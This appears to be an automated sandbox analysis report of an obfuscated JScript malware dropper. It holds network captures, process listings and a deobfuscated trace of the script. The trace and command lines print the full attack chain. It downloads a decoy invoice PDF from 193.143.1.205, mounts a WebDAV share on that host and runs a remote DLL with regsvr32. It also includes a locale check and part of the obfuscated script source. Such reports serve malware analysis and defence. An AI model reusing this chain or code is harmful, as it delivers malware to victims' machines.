Jan 10, 2025 20:53:55.415249109 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.415256977 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.415266991 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.415282965 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.415443897 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.415505886 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.415528059 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.415539026 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.415543079 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.415565968 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.415574074 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.415580988 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.415596008 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.415610075 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.466770887 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.498903990 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.817544937 CET	49721	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.822505951 CET	8888	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.822689056 CET	49721	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.822864056 CET	49721	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.827701092 CET	8888	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:56.616626024 CET	8888	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:56.669925928 CET	49721	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:56.889513969 CET	49721	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 20:54:11.425168037 CET	59906	53	192.168.2.7	1.1.1.1
Jan 10, 2025 20:54:11.430085897 CET	53	59906	1.1.1.1	192.168.2.7
Jan 10, 2025 20:54:11.430164099 CET	59906	53	192.168.2.7	1.1.1.1
Jan 10, 2025 20:54:11.434973001 CET	53	59906	1.1.1.1	192.168.2.7
Jan 10, 2025 20:54:11.903949976 CET	59906	53	192.168.2.7	1.1.1.1
Jan 10, 2025 20:54:11.910501957 CET	53	59906	1.1.1.1	192.168.2.7
Jan 10, 2025 20:54:11.910692930 CET	59906	53	192.168.2.7	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:54:08.920620918 CET	62134	53	192.168.2.7	1.1.1.1
Jan 10, 2025 20:54:11.424767017 CET	53	59096	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:54:08.920620918 CET	192.168.2.7	1.1.1.1	0x26a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 20:54:08.927932978 CET	1.1.1.1	192.168.2.7	0x26a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49705	193.143.1.205	80	7428	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:53:53.835144043 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 20:53:54.655033112 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:53:54 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 20:53:54.655077934 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 20:53:54.655113935 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 20:53:54.655149937 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 20:53:54.655185938 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 20:53:54.655219078 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 20:53:54.655457020 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 20:53:54.655488968 CET	224	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}n
Jan 10, 2025 20:53:54.655524969 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 20:53:54.655560017 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 20:53:54.660185099 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49721	193.143.1.205	8888	7732	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:53:55.822864056 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 20:53:56.616626024 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:53:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	14:53:50
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20512268371239412475.js"
Imagebase:	0x7ff6b8020000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:53:50
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll
Imagebase:	0x7ff6f8620000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:53:50
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:53:50
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:53:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:53:54
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f8620000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:53:54
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff690020000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:53:55
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:53:55
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:53:55
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1756,i,12993817421295818475,10483446621615758159,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ipkbrjmlj() {	ipkbrjmlj() ➔ undefined
1	hnbvw = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var kxbaj = this[wkggtrj + fkfvsmu + zvetvi + vqiiir + cjglvori + ontimfrfe + ppehiv + pqgrb] ( this[bbrapche + kixygdos + cguzrvlv + zvetvi + hrwvfhsqz + wkggtrj + pqgrb][jckeslz + zvetvi + cjglvori + fkfvsmu + pqgrb + cjglvori + phaodak + vcbdm + vgcuebl + cjglvori + cguzrvlv + pqgrb] ( bbrapche + kixygdos + cguzrvlv + zvetvi + hrwvfhsqz + wkggtrj + pqgrb + xkeou + kixygdos + ujrwjckc + cjglvori + zawdsqs + zawdsqs ) [rlnlk + cjglvori + yfyvbf + rlnlk + cjglvori + fkfvsmu + pozpqea] ( rsrolwgn + ahebpb + gsmympcgg + debgnyp + phqqxhdk + jckeslz + zegkpu + rlnlk + rlnlk + gsmympcgg + ohztzhhc + neain + phqqxhdk + zegkpu + kixygdos + gsmympcgg + rlnlk + qvpppt + jckeslz + iqgra + ppehiv + pqgrb + zvetvi + iqgra + zawdsqs + jqxcfkfhi + kggvf + fkfvsmu + ppehiv + cjglvori + zawdsqs + qvpppt + ontimfrfe + ppehiv + pqgrb + cjglvori + zvetvi + ppehiv + fkfvsmu + pqgrb + hrwvfhsqz + iqgra + ppehiv + fkfvsmu + zawdsqs + qvpppt + ucrmy + iqgra + cguzrvlv + fkfvsmu + zawdsqs + cjglvori ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( tidooct = 0 ; tidooct < hnbvw[zawdsqs + cjglvori + ppehiv + yfyvbf + pqgrb + ujrwjckc] ; ++ tidooct )
4	{
5	if ( kxbaj == hnbvw[tidooct] )
6	{
7	kxbaj = true;
8	break ;
9	}
10	}
11	if ( kxbaj !== true )
12	this[bbrapche + kixygdos + cguzrvlv + zvetvi + hrwvfhsqz + wkggtrj + pqgrb][lnogm + kvlnj + hrwvfhsqz + pqgrb] ( );
13	this[bbrapche + kixygdos + cguzrvlv + zvetvi + hrwvfhsqz + wkggtrj + pqgrb][jckeslz + zvetvi + cjglvori + fkfvsmu + pqgrb + cjglvori + phaodak + vcbdm + vgcuebl + cjglvori + cguzrvlv + pqgrb] ( bbrapche + kixygdos + cguzrvlv + zvetvi + hrwvfhsqz + wkggtrj + pqgrb + xkeou + kixygdos + ujrwjckc + cjglvori + zawdsqs + zawdsqs ) [zvetvi + kvlnj + ppehiv] ( cguzrvlv + jwcdfw + pozpqea + jqxcfkfhi + brjsg + cguzrvlv + jqxcfkfhi + wkggtrj + iqgra + nhukcrz + cjglvori + zvetvi + vqiiir + ujrwjckc + cjglvori + zawdsqs + zawdsqs + xkeou + cjglvori + crzpm + cjglvori + jqxcfkfhi + pzoksnjh + jckeslz + iqgra + jwcdfw + jwcdfw + fkfvsmu + ppehiv + pozpqea + jqxcfkfhi + kvovypasy + ontimfrfe + ppehiv + efjschbz + iqgra + umpbghx + cjglvori + pzoksnjh + bbrapche + cjglvori + vcbdm + rlnlk + cjglvori + vewxeurco + kvlnj + cjglvori + vqiiir + pqgrb + jqxcfkfhi + pzoksnjh + phaodak + kvlnj + pqgrb + mjsyk + hrwvfhsqz + zawdsqs + cjglvori + jqxcfkfhi + guvusa + pqgrb + cjglvori + jwcdfw + wkggtrj + guvusa + qvpppt + hrwvfhsqz + ppehiv + efjschbz + iqgra + hrwvfhsqz + cguzrvlv + cjglvori + xkeou + wkggtrj + pozpqea + vomsvx + jqxcfkfhi + ujrwjckc + pqgrb + pqgrb + wkggtrj + kbsgiwpv + brjsg + brjsg + oqpbhc + jakqdwn + yqcya + xkeou + oqpbhc + qxfnrqnmc + yqcya + xkeou + oqpbhc + xkeou + ywymole + aremyrbs + zbnkn + brjsg + hrwvfhsqz + ppehiv + efjschbz + iqgra + hrwvfhsqz + cguzrvlv + cjglvori + xkeou + wkggtrj + ujrwjckc + wkggtrj + kvovypasy + ugsknv + ugsknv + vqiiir + pqgrb + fkfvsmu + zvetvi + pqgrb + jqxcfkfhi + guvusa + pqgrb + cjglvori + jwcdfw + wkggtrj + guvusa + qvpppt + hrwvfhsqz + ppehiv + efjschbz + iqgra + hrwvfhsqz + cguzrvlv + cjglvori + xkeou + wkggtrj + pozpqea + vomsvx + ugsknv + ugsknv + cguzrvlv + jwcdfw + pozpqea + jqxcfkfhi + brjsg + cguzrvlv + jqxcfkfhi + ppehiv + cjglvori + pqgrb + jqxcfkfhi + kvlnj + vqiiir + cjglvori + jqxcfkfhi + qvpppt + qvpppt + oqpbhc + jakqdwn + yqcya + xkeou + oqpbhc + qxfnrqnmc + yqcya + xkeou + oqpbhc + xkeou + ywymole + aremyrbs + zbnkn + xorgny + slepyek + slepyek + slepyek + slepyek + qvpppt + pozpqea + fkfvsmu + efjschbz + nhukcrz + nhukcrz + nhukcrz + zvetvi + iqgra + iqgra + pqgrb + qvpppt + ugsknv + ugsknv + cguzrvlv + jwcdfw + pozpqea + jqxcfkfhi + brjsg + cguzrvlv + jqxcfkfhi + zvetvi + cjglvori + yfyvbf + vqiiir + efjschbz + zvetvi + yqcya + ywymole + jqxcfkfhi + brjsg + vqiiir + jqxcfkfhi + qvpppt + qvpppt + oqpbhc + jakqdwn + yqcya + xkeou + oqpbhc + qxfnrqnmc + yqcya + xkeou + oqpbhc + xkeou + ywymole + aremyrbs + zbnkn + xorgny + slepyek + slepyek + slepyek + slepyek + qvpppt + pozpqea + fkfvsmu + efjschbz + nhukcrz + nhukcrz + nhukcrz + zvetvi + iqgra + iqgra + pqgrb + qvpppt + ywymole + jakqdwn + qxfnrqnmc + hjwgmhhq + qxfnrqnmc + oqpbhc + ywymole + qxfnrqnmc + yqcya + qxfnrqnmc + jakqdwn + hjwgmhhq + slepyek + oqpbhc + xkeou + pozpqea + zawdsqs + zawdsqs, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll",0,false) ➔ 0
14	}
15	vomsvx = "z";
16	vomsvx = "V";
17	vomsvx = "s";
18	vomsvx = "O";
19	vomsvx = "L";
20	vomsvx = "x";
21	vomsvx = "O";
22	vomsvx = "q";
23	vomsvx = "G";
24	vomsvx = "E";
25	vomsvx = "l";
26	vomsvx = "a";
27	vomsvx = "P";
28	vomsvx = "E";
29	vomsvx = "T";
30	vomsvx = "N";
31	vomsvx = "q";
32	vomsvx = "T";
33	vomsvx = "l";
34	vomsvx = "j";
35	vomsvx = "d";
36	vomsvx = "I";
37	vomsvx = "N";
38	vomsvx = "R";
39	vomsvx = "p";
40	vomsvx = "L";
41	vomsvx = "F";
42	vomsvx = "p";
43	vomsvx = "T";
44	vomsvx = "z";
45	vomsvx = "K";
46	vomsvx = "h";
47	vomsvx = "Q";
48	vomsvx = "u";
49	vomsvx = "s";
50	vomsvx = "M";
51	vomsvx = "Y";
52	vomsvx = "y";
53	vomsvx = "C";
54	vomsvx = "f";
55	hrwvfhsqz = "i";
56	hrwvfhsqz = "M";
57	hrwvfhsqz = "p";
58	hrwvfhsqz = "N";
59	hrwvfhsqz = "e";
60	hrwvfhsqz = "Z";
61	hrwvfhsqz = "r";
62	hrwvfhsqz = "g";
63	hrwvfhsqz = "l";
64	hrwvfhsqz = "i";
65	xorgny = "G";
66	xorgny = "e";
67	xorgny = "d";
68	xorgny = "L";
69	xorgny = "e";
70	xorgny = "G";
71	xorgny = "W";
72	xorgny = "p";
73	xorgny = "u";
74	xorgny = "f";
75	xorgny = "R";
76	xorgny = "E";
77	xorgny = "Y";
78	xorgny = "F";
79	xorgny = "e";
80	xorgny = "d";
81	xorgny = "S";
82	xorgny = "O";
83	xorgny = "U";
84	xorgny = "Q";
85	xorgny = "W";
86	xorgny = "y";
87	xorgny = "d";
88	xorgny = "r";
89	xorgny = "R";
90	xorgny = "d";
91	xorgny = "C";
92	xorgny = "m";
93	xorgny = "A";
94	xorgny = "@";
95	ucrmy = "j";
96	ucrmy = "p";
97	ucrmy = "L";
98	ucrmy = "z";
99	ucrmy = "d";
100	ucrmy = "T";
101	ucrmy = "f";
102	ucrmy = "P";
103	ucrmy = "E";
104	ucrmy = "L";
105	ugsknv = "p";
106	ugsknv = "q";
107	ugsknv = "X";
108	ugsknv = "D";
109	ugsknv = "Y";
110	ugsknv = "N";
111	ugsknv = "o";
112	ugsknv = "J";
113	ugsknv = "G";
114	ugsknv = "s";
115	ugsknv = "U";
116	ugsknv = "m";
117	ugsknv = "B";
118	ugsknv = "i";
119	ugsknv = "c";
120	ugsknv = "h";
121	ugsknv = "p";
122	ugsknv = "P";
123	ugsknv = "v";
124	ugsknv = "P";
125	ugsknv = "E";
126	ugsknv = "S";
127	ugsknv = "V";
128	ugsknv = "P";
129	ugsknv = "J";
130	ugsknv = "J";
131	ugsknv = "i";
132	ugsknv = "V";
133	ugsknv = "z";
134	ugsknv = "n";
135	ugsknv = "F";
136	ugsknv = "i";
137	ugsknv = "a";
138	ugsknv = "H";
139	ugsknv = "u";
140	ugsknv = "M";
141	ugsknv = "&";
142	qxfnrqnmc = "B";
143	qxfnrqnmc = "A";
144	qxfnrqnmc = "o";
